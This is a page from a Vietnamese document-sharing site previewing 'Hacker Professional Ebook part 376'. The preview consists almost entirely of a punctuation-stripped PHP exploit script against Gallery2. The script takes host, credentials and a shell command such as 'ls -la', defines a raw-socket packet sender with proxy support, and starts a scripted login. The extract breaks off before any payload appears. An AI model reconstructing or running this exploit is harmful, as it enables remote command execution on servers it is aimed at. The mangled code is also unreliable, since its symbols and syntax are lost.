tailieunhanh - Hacker Professional Ebook part 376

Tham khảo tài liệu 'hacker professional ebook part 376', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | echo php .Sargv 0 . localhost gallery2 user pass type . . r n echo php .Sargv 0 . localhost gallery2 user pass -p81 80 ls -la r n die error_reporting 0 ini_set max_execution_time 0 ini_set default_socket_timeout 5 function quick_dump Sstring result exa cont 0 for i 0 i strlen string -1 i if ord string i 32 ord string i 126 result. . else result. . string i if strlen dechex ord string i 2 Sexa. .dechex ord string i else Sexa. 0 .dechex ord string i Scont if Scont 15 cont 0 result. r n exa. r n return exa. r n . result proxy_regex b d 1 3 . d 1 3 . d 1 3 . d 1 3 d 1 5 b function sendpacketii Spacket global Sproxy Shost Sport html proxy_regex if Sproxy Sock fsockopen gethostbyname host Sport if Sock echo No response from .Shost. .Sport die else Sc preg_match Sproxy_regex Sproxy if Sc echo Not a valid proxy. die parts explode proxy echo Connecting to . parts 0 . . parts 1 . proxy. r n ock fsockopen parts 0 parts 1 if ock echo No response from proxy. die fputs ock packet if proxy html while feof ock html. fgets ock else html while feof ock or eregi chr 0x0d .chr 0x0a .chr 0x0d .chr 0x0a html html. fread ock 1 fclose ock debug echo r n . html host argv 1 path argv 2 user argv 3 pass argv 4 cmd port 80 proxy for i 5 i argc-1 i temp argv i 0 . argv i 1 if temp -p and temp -P cmd. . argv i if temp -p port str_replace -p argv i if temp -P proxy str_replace -P argv i cmd urlencode cmd if path 0 or path strlen path -1 echo Error. check the path die if proxy p path else p http . host. . port. path echo STEP 1 - Login. r n data g2_navId xebb12f28 data. g2_formUrl http 3A 2F 2F .urlencode host. path . 3F g2_view 26g2_subView data. g2_controller data. g2_form 5BformName 5D UserLogin data. g2_form 5Busername 5D . user data. g2_form 5Bpassword 5D . pass data. g2_form 5Baction 5D 5Blogin 5D Login packet POST . p. HTTP r n packet. User-Agent Mozilla compatible MSIE Windows NT it .

TÀI LIỆU LIÊN QUAN
10    158    1
6    184    1
7    162    1
5    157    1
6    160    1
6    152    1
6    150    1
6    206    1
7    154    1